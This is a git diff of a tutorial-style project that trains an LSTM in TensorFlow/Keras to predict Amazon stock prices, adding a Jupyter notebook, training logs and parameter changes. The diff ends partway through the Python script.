Binary files /dev/null and b/machine-learning/stock-prediction/logs/2020-12-11_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256/train/events.out.tfevents.1607697620.DESKTOP-JCAH48A.profile-empty differ
diff --git a/machine-learning/stock-prediction/logs/2020-12-11_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256/train/plugins/profile/2020-12-11_15-40-20/local.trace b/machine-learning/stock-prediction/logs/2020-12-11_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256/train/plugins/profile/2020-12-11_15-40-20/local.trace
new file mode 100644
index 00000000..857bf1ad
Binary files /dev/null and b/machine-learning/stock-prediction/logs/2020-12-11_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256/train/plugins/profile/2020-12-11_15-40-20/local.trace differ
diff --git a/machine-learning/stock-prediction/logs/2020-12-11_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256/validation/events.out.tfevents.1607697622.DESKTOP-JCAH48A.12800.7403.v2 b/machine-learning/stock-prediction/logs/2020-12-11_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256/validation/events.out.tfevents.1607697622.DESKTOP-JCAH48A.12800.7403.v2
new file mode 100644
index 00000000..78e22c18
Binary files /dev/null and b/machine-learning/stock-prediction/logs/2020-12-11_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256/validation/events.out.tfevents.1607697622.DESKTOP-JCAH48A.12800.7403.v2 differ
diff --git a/machine-learning/stock-prediction/parameters.py b/machine-learning/stock-prediction/parameters.py
index 755d9c04..c1afed3b 100644
--- a/machine-learning/stock-prediction/parameters.py
+++ b/machine-learning/stock-prediction/parameters.py
@@ -2,12 +2,20 @@
 import time
 from tensorflow.keras.layers import LSTM
 
-
 # Window size or the sequence length
-N_STEPS = 100
+N_STEPS = 50
 # Lookup step, 1 is the next day
-LOOKUP_STEP = 90
-
+LOOKUP_STEP = 15
+
+# whether to scale feature columns & output price as well
+SCALE = True
+scale_str = f"sc-{int(SCALE)}"
+# whether to shuffle the dataset
+SHUFFLE = True
+shuffle_str = f"sh-{int(SHUFFLE)}"
+# whether to split the training/testing set by date
+SPLIT_BY_DATE = False
+split_by_date_str = f"sbd-{int(SPLIT_BY_DATE)}"
 # test ratio size, 0.2 is 20%
 TEST_SIZE = 0.2
 # features to use
@@ -17,24 +25,31 @@
 
 ### model parameters
 
-N_LAYERS = 3
+N_LAYERS = 2
 # LSTM cell
 CELL = LSTM
 # 256 LSTM neurons
 UNITS = 256
 # 40% dropout
 DROPOUT = 0.4
+# whether to use bidirectional RNNs
+BIDIRECTIONAL = False
 
 ### training parameters
 
-# mean squared error loss
-LOSS = "mse"
-OPTIMIZER = "rmsprop"
+# mean absolute error loss
+# LOSS = "mae"
+# huber loss
+LOSS = "huber_loss"
+OPTIMIZER = "adam"
 BATCH_SIZE = 64
-EPOCHS = 300
+EPOCHS = 500
 
-# Apple stock market
-ticker = "AAPL"
+# Amazon stock market
+ticker = "AMZN"
 ticker_data_filename = os.path.join("data", f"{ticker}_{date_now}.csv")
-# model name to save
-model_name = f"{date_now}_{ticker}-{LOSS}-{CELL.__name__}-seq-{N_STEPS}-step-{LOOKUP_STEP}-layers-{N_LAYERS}-units-{UNITS}"
\ No newline at end of file
+# model name to save, making it as unique as possible based on parameters
+model_name = f"{date_now}_{ticker}-{shuffle_str}-{scale_str}-{split_by_date_str}-\
+{LOSS}-{OPTIMIZER}-{CELL.__name__}-seq-{N_STEPS}-step-{LOOKUP_STEP}-layers-{N_LAYERS}-units-{UNITS}"
+if BIDIRECTIONAL:
+    model_name += "-b"
\ No newline at end of file
diff --git a/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256.h5 b/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256.h5
deleted file mode 100644
index 983b546a..00000000
Binary files a/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256.h5 and /dev/null differ
diff --git a/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/saved_model.pb b/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/saved_model.pb
deleted file mode 100644
index 179dbc96..00000000
Binary files a/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/saved_model.pb and /dev/null differ
diff --git a/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/variables/variables.data-00000-of-00002 b/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/variables/variables.data-00000-of-00002
deleted file mode 100644
index 470aac3a..00000000
Binary files a/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/variables/variables.data-00000-of-00002 and /dev/null differ
diff --git a/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/variables/variables.data-00001-of-00002 b/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/variables/variables.data-00001-of-00002
deleted file mode 100644
index 6c1f7ac5..00000000
Binary files a/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/variables/variables.data-00001-of-00002 and /dev/null differ
diff --git a/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/variables/variables.index b/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/variables/variables.index
deleted file mode 100644
index d4a52305..00000000
Binary files a/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/variables/variables.index and /dev/null differ
diff --git a/machine-learning/stock-prediction/results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.h5 b/machine-learning/stock-prediction/results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.h5
new file mode 100644
index 00000000..05d38516
Binary files /dev/null and b/machine-learning/stock-prediction/results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.h5 differ
diff --git a/machine-learning/stock-prediction/stock_prediction.ipynb b/machine-learning/stock-prediction/stock_prediction.ipynb
new file mode 100644
index 00000000..776bf72f
--- /dev/null
+++ b/machine-learning/stock-prediction/stock_prediction.ipynb
@@ -0,0 +1,557 @@
+{
+ "cells": [
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "import tensorflow as tf\n",
+    "from tensorflow.keras.models import Sequential\n",
+    "from tensorflow.keras.layers import LSTM, Dense, Dropout, Bidirectional\n",
+    "from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard\n",
+    "from sklearn import preprocessing\n",
+    "from sklearn.model_selection import train_test_split\n",
+    "from yahoo_fin import stock_info as si\n",
+    "from collections import deque\n",
+    "\n",
+    "import os\n",
+    "import numpy as np\n",
+    "import pandas as pd\n",
+    "import random"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# set seed, so we can get the same results after rerunning several times\n",
+    "np.random.seed(314)\n",
+    "tf.random.set_seed(314)\n",
+    "random.seed(314)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "import os\n",
+    "import time\n",
+    "from tensorflow.keras.layers import LSTM\n",
+    "\n",
+    "# Window size or the sequence length\n",
+    "N_STEPS = 50\n",
+    "# Lookup step, 1 is the next day\n",
+    "LOOKUP_STEP = 15\n",
+    "\n",
+    "# whether to scale feature columns & output price as well\n",
+    "SCALE = True\n",
+    "scale_str = f\"sc-{int(SCALE)}\"\n",
+    "# whether to shuffle the dataset\n",
+    "SHUFFLE = True\n",
+    "shuffle_str = f\"sh-{int(SHUFFLE)}\"\n",
+    "# whether to split the training/testing set by date\n",
+    "SPLIT_BY_DATE = False\n",
+    "split_by_date_str = f\"sbd-{int(SPLIT_BY_DATE)}\"\n",
+    "# test ratio size, 0.2 is 20%\n",
+    "TEST_SIZE = 0.2\n",
+    "# features to use\n",
+    "FEATURE_COLUMNS = [\"adjclose\", \"volume\", \"open\", \"high\", \"low\"]\n",
+    "# date now\n",
+    "date_now = time.strftime(\"%Y-%m-%d\")\n",
+    "\n",
+    "### model parameters\n",
+    "\n",
+    "N_LAYERS = 2\n",
+    "# LSTM cell\n",
+    "CELL = LSTM\n",
+    "# 256 LSTM neurons\n",
+    "UNITS = 256\n",
+    "# 40% dropout\n",
+    "DROPOUT = 0.4\n",
+    "# whether to use bidirectional RNNs\n",
+    "BIDIRECTIONAL = False\n",
+    "\n",
+    "### training parameters\n",
+    "\n",
+    "# mean absolute error loss\n",
+    "# LOSS = \"mae\"\n",
+    "# huber loss\n",
+    "LOSS = \"huber_loss\"\n",
+    "OPTIMIZER = \"adam\"\n",
+    "BATCH_SIZE = 64\n",
+    "EPOCHS = 500\n",
+    "\n",
+    "# Amazon stock market\n",
+    "ticker = \"AMZN\"\n",
+    "ticker_data_filename = os.path.join(\"data\", f\"{ticker}_{date_now}.csv\")\n",
+    "# model name to save, making it as unique as possible based on parameters\n",
+    "model_name = f\"{date_now}_{ticker}-{shuffle_str}-{scale_str}-{split_by_date_str}-\\\n",
+    "{LOSS}-{OPTIMIZER}-{CELL.__name__}-seq-{N_STEPS}-step-{LOOKUP_STEP}-layers-{N_LAYERS}-units-{UNITS}\"\n",
+    "if BIDIRECTIONAL:\n",
+    "    model_name += \"-b\""
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "def shuffle_in_unison(a, b):\n",
+    "    # shuffle two arrays in the same way\n",
+    "    state = np.random.get_state()\n",
+    "    np.random.shuffle(a)\n",
+    "    np.random.set_state(state)\n",
+    "    np.random.shuffle(b)\n",
+    "\n",
+    "\n",
+    "def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, split_by_date=True,\n",
+    "                test_size=0.2, feature_columns=['adjclose', 'volume', 'open', 'high', 'low']):\n",
+    "    \"\"\"\n",
+    "    Loads data from Yahoo Finance source, as well as scaling, shuffling, normalizing and splitting.\n",
+    "    Params:\n",
+    "        ticker (str/pd.DataFrame): the ticker you want to load, examples include AAPL, TESL, etc.\n",
+    "        n_steps (int): the historical sequence length (i.e window size) used to predict, default is 50\n",
+    "        scale (bool): whether to scale prices from 0 to 1, default is True\n",
+    "        shuffle (bool): whether to shuffle the dataset (both training & testing), default is True\n",
+    "        lookup_step (int): the future lookup step to predict, default is 1 (e.g next day)\n",
+    "        split_by_date (bool): whether we split the dataset into training/testing by date, setting it \n",
+    "            to False will split datasets in a random way\n",
+    "        test_size (float): ratio for test data, default is 0.2 (20% testing data)\n",
+    "        feature_columns (list): the list of features to use to feed into the model, default is everything grabbed from yahoo_fin\n",
+    "    \"\"\"\n",
+    "    # see if ticker is already a loaded stock from yahoo finance\n",
+    "    if isinstance(ticker, str):\n",
+    "        # load it from yahoo_fin library\n",
+    "        df = si.get_data(ticker)\n",
+    "    elif isinstance(ticker, pd.DataFrame):\n",
+    "        # already loaded, use it directly\n",
+    "        df = ticker\n",
+    "    else:\n",
+    "        raise TypeError(\"ticker can be either a str or a `pd.DataFrame` instances\")\n",
+    "\n",
+    "    # this will contain all the elements we want to return from this function\n",
+    "    result = {}\n",
+    "    # we will also return the original dataframe itself\n",
+    "    result['df'] = df.copy()\n",
+    "\n",
+    "    # make sure that the passed feature_columns exist in the dataframe\n",
+    "    for col in feature_columns:\n",
+    "        assert col in df.columns, f\"'{col}' does not exist in the dataframe.\"\n",
+    "\n",
+    "    # add date as a column\n",
+    "    if \"date\" not in df.columns:\n",
+    "        df[\"date\"] = df.index\n",
+    "\n",
+    "    if scale:\n",
+    "        column_scaler = {}\n",
+    "        # scale the data (prices) from 0 to 1\n",
+    "        for column in feature_columns:\n",
+    "            scaler = preprocessing.MinMaxScaler()\n",
+    "            df[column] = scaler.fit_transform(np.expand_dims(df[column].values, axis=1))\n",
+    "            column_scaler[column] = scaler\n",
+    "\n",
+    "        # add the MinMaxScaler instances to the result returned\n",
+    "        result[\"column_scaler\"] = column_scaler\n",
+    "\n",
+    "    # add the target column (label) by shifting by `lookup_step`\n",
+    "    df['future'] = df['adjclose'].shift(-lookup_step)\n",
+    "\n",
+    "    # last `lookup_step` columns contains NaN in future column\n",
+    "    # get them before droping NaNs\n",
+    "    last_sequence = np.array(df[feature_columns].tail(lookup_step))\n",
+    "    \n",
+    "    # drop NaNs\n",
+    "    df.dropna(inplace=True)\n",
+    "\n",
+    "    sequence_data = []\n",
+    "    sequences = deque(maxlen=n_steps)\n",
+    "\n",
+    "    for entry, target in zip(df[feature_columns + [\"date\"]].values, df['future'].values):\n",
+    "        sequences.append(entry)\n",
+    "        if len(sequences) == n_steps:\n",
+    "            sequence_data.append([np.array(sequences), target])\n",
+    "\n",
+    "    # get the last sequence by appending the last `n_step` sequence with `lookup_step` sequence\n",
+    "    # for instance, if n_steps=50 and lookup_step=10, last_sequence should be of 60 (that is 50+10) length\n",
+    "    # this last_sequence will be used to predict future stock prices that are not available in the dataset\n",
+    "    last_sequence = list([s[:len(feature_columns)] for s in sequences]) + list(last_sequence)\n",
+    "    last_sequence = np.array(last_sequence).astype(np.float32)\n",
+    "    # add to result\n",
+    "    result['last_sequence'] = last_sequence\n",
+    "    \n",
+    "    # construct the X's and y's\n",
+    "    X, y = [], []\n",
+    "    for seq, target in sequence_data:\n",
+    "        X.append(seq)\n",
+    "        y.append(target)\n",
+    "\n",
+    "    # convert to numpy arrays\n",
+    "    X = np.array(X)\n",
+    "    y = np.array(y)\n",
+    "\n",
+    "    if split_by_date:\n",
+    "        # split the dataset into training & testing sets by date (not randomly splitting)\n",
+    "        train_samples = int((1 - test_size) * len(X))\n",
+    "        result[\"X_train\"] = X[:train_samples]\n",
+    "        result[\"y_train\"] = y[:train_samples]\n",
+    "        result[\"X_test\"]  = X[train_samples:]\n",
+    "        result[\"y_test\"]  = y[train_samples:]\n",
+    "        if shuffle:\n",
+    "            # shuffle the datasets for training (if shuffle parameter is set)\n",
+    "            shuffle_in_unison(result[\"X_train\"], result[\"y_train\"])\n",
+    "            shuffle_in_unison(result[\"X_test\"], result[\"y_test\"])\n",
+    "    else:    \n",
+    "        # split the dataset randomly\n",
+    "        result[\"X_train\"], result[\"X_test\"], result[\"y_train\"], result[\"y_test\"] = train_test_split(X, y, \n",
+    "                                                                                test_size=test_size, shuffle=shuffle)\n",
+    "\n",
+    "    # get the list of test set dates\n",
+    "    dates = result[\"X_test\"][:, -1, -1]\n",
+    "    # retrieve test features from the original dataframe\n",
+    "    result[\"test_df\"] = result[\"df\"].loc[dates]\n",
+    "    # remove duplicated dates in the testing dataframe\n",
+    "    result[\"test_df\"] = result[\"test_df\"][~result[\"test_df\"].index.duplicated(keep='first')]\n",
+    "    # remove dates from the training/testing sets & convert to float32\n",
+    "    result[\"X_train\"] = result[\"X_train\"][:, :, :len(feature_columns)].astype(np.float32)\n",
+    "    result[\"X_test\"] = result[\"X_test\"][:, :, :len(feature_columns)].astype(np.float32)\n",
+    "\n",
+    "    return result"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "def create_model(sequence_length, n_features, units=256, cell=LSTM, n_layers=2, dropout=0.3,\n",
+    "                loss=\"mean_absolute_error\", optimizer=\"rmsprop\", bidirectional=False):\n",
+    "    model = Sequential()\n",
+    "    for i in range(n_layers):\n",
+    "        if i == 0:\n",
+    "            # first layer\n",
+    "            if bidirectional:\n",
+    "                model.add(Bidirectional(cell(units, return_sequences=True), batch_input_shape=(None, sequence_length, n_features)))\n",
+    "            else:\n",
+    "                model.add(cell(units, return_sequences=True, batch_input_shape=(None, sequence_length, n_features)))\n",
+    "        elif i == n_layers - 1:\n",
+    "            # last layer\n",
+    "            if bidirectional:\n",
+    "                model.add(Bidirectional(cell(units, return_sequences=False)))\n",
+    "            else:\n",
+    "                model.add(cell(units, return_sequences=False))\n",
+    "        else:\n",
+    "            # hidden layers\n",
+    "            if bidirectional:\n",
+    "                model.add(Bidirectional(cell(units, return_sequences=True)))\n",
+    "            else:\n",
+    "                model.add(cell(units, return_sequences=True))\n",
+    "        # add dropout after each layer\n",
+    "        model.add(Dropout(dropout))\n",
+    "    model.add(Dense(1, activation=\"linear\"))\n",
+    "    model.compile(loss=loss, metrics=[\"mean_absolute_error\"], optimizer=optimizer)\n",
+    "    return model"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "tags": [
+     "outputPrepend"
+    ]
+   },
+   "outputs": [],
+   "source": [
+    "# create these folders if they does not exist\n",
+    "if not os.path.isdir(\"results\"):\n",
+    "    os.mkdir(\"results\")\n",
+    "\n",
+    "if not os.path.isdir(\"logs\"):\n",
+    "    os.mkdir(\"logs\")\n",
+    "\n",
+    "if not os.path.isdir(\"data\"):\n",
+    "    os.mkdir(\"data\")\n",
+    "\n",
+    "# load the data\n",
+    "data = load_data(ticker, N_STEPS, scale=SCALE, split_by_date=SPLIT_BY_DATE, \n",
+    "                shuffle=SHUFFLE, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, \n",
+    "                feature_columns=FEATURE_COLUMNS)\n",
+    "\n",
+    "# save the dataframe\n",
+    "data[\"df\"].to_csv(ticker_data_filename)\n",
+    "\n",
+    "# construct the model\n",
+    "model = create_model(N_STEPS, len(FEATURE_COLUMNS), loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS,\n",
+    "                    dropout=DROPOUT, optimizer=OPTIMIZER, bidirectional=BIDIRECTIONAL)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# some tensorflow callbacks\n",
+    "checkpointer = ModelCheckpoint(os.path.join(\"results\", model_name + \".h5\"), save_weights_only=True, save_best_only=True, verbose=1)\n",
+    "tensorboard = TensorBoard(log_dir=os.path.join(\"logs\", model_name))\n",
+    "# train the model and save the weights whenever we see \n",
+    "# a new optimal model using ModelCheckpoint\n",
+    "history = model.fit(data[\"X_train\"], data[\"y_train\"],\n",
+    "                    batch_size=BATCH_SIZE,\n",
+    "                    epochs=EPOCHS,\n",
+    "                    validation_data=(data[\"X_test\"], data[\"y_test\"]),\n",
+    "                    callbacks=[checkpointer, tensorboard],\n",
+    "                    verbose=1)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "import matplotlib.pyplot as plt\n",
+    "\n",
+    "def plot_graph(test_df):\n",
+    "    \"\"\"\n",
+    "    This function plots true close price along with predicted close price\n",
+    "    with blue and red colors respectively\n",
+    "    \"\"\"\n",
+    "    plt.plot(test_df[f'true_adjclose_{LOOKUP_STEP}'], c='b')\n",
+    "    plt.plot(test_df[f'adjclose_{LOOKUP_STEP}'], c='r')\n",
+    "    plt.xlabel(\"Days\")\n",
+    "    plt.ylabel(\"Price\")\n",
+    "    plt.legend([\"Actual Price\", \"Predicted Price\"])\n",
+    "    plt.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "def get_final_df(model, data):\n",
+    "    \"\"\"\n",
+    "    This function takes the `model` and `data` dict to \n",
+    "    construct a final dataframe that includes the features along \n",
+    "    with true and predicted prices of the testing dataset\n",
+    "    \"\"\"\n",
+    "    # if predicted future price is higher than the current, \n",
+    "    # then calculate the true future price minus the current price, to get the buy profit\n",
+    "    buy_profit  = lambda current, pred_future, true_future: true_future - current if pred_future > current else 0\n",
+    "    # if the predicted future price is lower than the current price,\n",
+    "    # then subtract the true future price from the current price\n",
+    "    sell_profit = lambda current, pred_future, true_future: current - true_future if pred_future < current else 0\n",
+    "    X_test = data[\"X_test\"]\n",
+    "    y_test = data[\"y_test\"]\n",
+    "    # perform prediction and get prices\n",
+    "    y_pred = model.predict(X_test)\n",
+    "    if SCALE:\n",
+    "        y_test = np.squeeze(data[\"column_scaler\"][\"adjclose\"].inverse_transform(np.expand_dims(y_test, axis=0)))\n",
+    "        y_pred = np.squeeze(data[\"column_scaler\"][\"adjclose\"].inverse_transform(y_pred))\n",
+    "    test_df = data[\"test_df\"]\n",
+    "    # add predicted future prices to the dataframe\n",
+    "    test_df[f\"adjclose_{LOOKUP_STEP}\"] = y_pred\n",
+    "    # add true future prices to the dataframe\n",
+    "    test_df[f\"true_adjclose_{LOOKUP_STEP}\"] = y_test\n",
+    "    # sort the dataframe by date\n",
+    "    test_df.sort_index(inplace=True)\n",
+    "    final_df = test_df\n",
+    "    # add the buy profit column\n",
+    "    final_df[\"buy_profit\"] = list(map(buy_profit, \n",
+    "                                    final_df[\"adjclose\"], \n",
+    "                                    final_df[f\"adjclose_{LOOKUP_STEP}\"], \n",
+    "                                    final_df[f\"true_adjclose_{LOOKUP_STEP}\"])\n",
+    "                                    # since we don't have profit for last sequence, add 0's\n",
+    "                                    )\n",
+    "    # add the sell profit column\n",
+    "    final_df[\"sell_profit\"] = list(map(sell_profit, \n",
+    "                                    final_df[\"adjclose\"], \n",
+    "                                    final_df[f\"adjclose_{LOOKUP_STEP}\"], \n",
+    "                                    final_df[f\"true_adjclose_{LOOKUP_STEP}\"])\n",
+    "                                    # since we don't have profit for last sequence, add 0's\n",
+    "                                    )\n",
+    "    return final_df"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "def predict(model, data):\n",
+    "    # retrieve the last sequence from data\n",
+    "    last_sequence = data[\"last_sequence\"][-N_STEPS:]\n",
+    "    # expand dimension\n",
+    "    last_sequence = np.expand_dims(last_sequence, axis=0)\n",
+    "    # get the prediction (scaled from 0 to 1)\n",
+    "    prediction = model.predict(last_sequence)\n",
+    "    # get the price (by inverting the scaling)\n",
+    "    if SCALE:\n",
+    "        predicted_price = data[\"column_scaler\"][\"adjclose\"].inverse_transform(prediction)[0][0]\n",
+    "    else:\n",
+    "        predicted_price = prediction[0][0]\n",
+    "    return predicted_price"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# load optimal model weights from results folder\n",
+    "model_path = os.path.join(\"results\", model_name) + \".h5\"\n",
+    "model.load_weights(model_path)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# evaluate the model\n",
+    "loss, mae = model.evaluate(data[\"X_test\"], data[\"y_test\"], verbose=0)\n",
+    "# calculate the mean absolute error (inverse scaling)\n",
+    "if SCALE:\n",
+    "    mean_absolute_error = data[\"column_scaler\"][\"adjclose\"].inverse_transform([[mae]])[0][0]\n",
+    "else:\n",
+    "    mean_absolute_error = mae"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# get the final dataframe for the testing set\n",
+    "final_df = get_final_df(model, data)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# predict the future price\n",
+    "future_price = predict(model, data)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# we calculate the accuracy by counting the number of positive profits\n",
+    "accuracy_score = (len(final_df[final_df['sell_profit'] > 0]) + len(final_df[final_df['buy_profit'] > 0])) / len(final_df)\n",
+    "# calculating total buy & sell profit\n",
+    "total_buy_profit  = final_df[\"buy_profit\"].sum()\n",
+    "total_sell_profit = final_df[\"sell_profit\"].sum()\n",
+    "# total profit by adding sell & buy together\n",
+    "total_profit = total_buy_profit + total_sell_profit\n",
+    "# dividing total profit by number of testing samples (number of trades)\n",
+    "profit_per_trade = total_profit / len(final_df)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# printing metrics\n",
+    "print(f\"Future price after {LOOKUP_STEP} days is {future_price:.2f}$\")\n",
+    "print(f\"{LOSS} loss:\", loss)\n",
+    "print(\"Mean Absolute Error:\", mean_absolute_error)\n",
+    "print(\"Accuracy score:\", accuracy_score)\n",
+    "print(\"Total buy profit:\", total_buy_profit)\n",
+    "print(\"Total sell profit:\", total_sell_profit)\n",
+    "print(\"Total profit:\", total_profit)\n",
+    "print(\"Profit per trade:\", profit_per_trade)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# plot true/pred prices graph\n",
+    "plot_graph(final_df)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "final_df.head(20)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "final_df.tail(20)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# save the final dataframe to csv-results folder\n",
+    "csv_results_folder = \"csv-results\"\n",
+    "if not os.path.isdir(csv_results_folder):\n",
+    "    os.mkdir(csv_results_folder)\n",
+    "csv_filename = os.path.join(csv_results_folder, model_name + \".csv\")\n",
+    "final_df.to_csv(csv_filename)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": []
+  }
+ ],
+ "metadata": {
+  "kernelspec": {
+   "display_name": "Python 3",
+   "language": "python",
+   "name": "python3"
+  },
+  "language_info": {
+   "codemirror_mode": {
+    "name": "ipython",
+    "version": 3
+   },
+   "file_extension": ".py",
+   "mimetype": "text/x-python",
+   "name": "python",
+   "nbconvert_exporter": "python",
+   "pygments_lexer": "ipython3",
+   "version": "3.8.7"
+  }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 4
+}
\ No newline at end of file
diff --git a/machine-learning/stock-prediction/stock_prediction.py b/machine-learning/stock-prediction/stock_prediction.py
index a93a47e1..e800be7f 100644
--- a/machine-learning/stock-prediction/stock_prediction.py
+++ b/machine-learning/stock-prediction/stock_prediction.py
@@ -1,5 +1,6 @@
+import tensorflow as tf
 from tensorflow.keras.models import Sequential
-from tensorflow.keras.layers import LSTM, Dense, Dropout
+from tensorflow.keras.layers import LSTM, Dense, Dropout, Bidirectional
 from sklearn import preprocessing
 from sklearn.model_selection import train_test_split
 from yahoo_fin import stock_info as si
@@ -9,8 +10,21 @@
 import pandas as pd
 import random
 
+# set seed, so we can get the same results after rerunning several times
+np.random.seed(314)
+tf.random.set_seed(314)
+random.seed(314)
 
-def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, 
+
+def shuffle_in_unison(a, b):
+    # shuffle two arrays in the same way
+    state = np.random.get_state()
+    np.random.shuffle(a)
+    np.random.set_state(state)
+    np.random.shuffle(b)
+
+
+def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, split_by_date=True,
                 test_size=0.2, feature_columns=['adjclose', 'volume', 'open', 'high', 'low']):
     """
     Loads data from Yahoo Finance source, as well as scaling, shuffling, normalizing and splitting.
@@ -18,8 +32,10 @@ def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1,
         ticker (str/pd.DataFrame): the ticker you want to load, examples include AAPL, TESL, etc.
         n_steps (int): the historical sequence length (i.e window size) used to predict, default is 50
         scale (bool): whether to scale prices from 0 to 1, default is True
-        shuffle (bool): whether to shuffle the data, default is True
+        shuffle (bool): whether to shuffle the dataset (both training & testing), default is True
         lookup_step (int): the future lookup step to predict, default is 1 (e.g next day)
+        split_by_date (bool): whether we split the dataset into training/testing by date, setting it 
+            to False will split datasets in a random way
         test_size (float): ratio for test data, default is 0.2 (20% testing data)
         feature_columns (list): the list of features to use to feed into the model, default is everything grabbed from yahoo_fin
     """
@@ -40,7 +56,11 @@ def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1,
 
     # make sure that the passed feature_columns exist in the dataframe
     for col in feature_columns:
-        assert col in df.columns
+        assert col in df.columns, f"'{col}' does not exist in the dataframe."
+
+    # add date as a column
+    if "date" not in df.columns:
+        df["date"] = df.index
 
     if scale:
         column_scaler = {}
@@ -66,17 +86,16 @@ def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1,
     sequence_data = []
     sequences = deque(maxlen=n_steps)
 
-    for entry, target in zip(df[feature_columns].values, df['future'].values):
+    for entry, target in zip(df[feature_columns + ["date"]].values, df['future'].values):
         sequences.append(entry)
         if len(sequences) == n_steps:
             sequence_data.append([np.array(sequences), target])
 
     # get the last sequence by appending the last `n_step` sequence with `lookup_step` sequence
-    # for instance, if n_steps=50 and lookup_step=10, last_sequence should be of 59 (that is 50+10-1) length
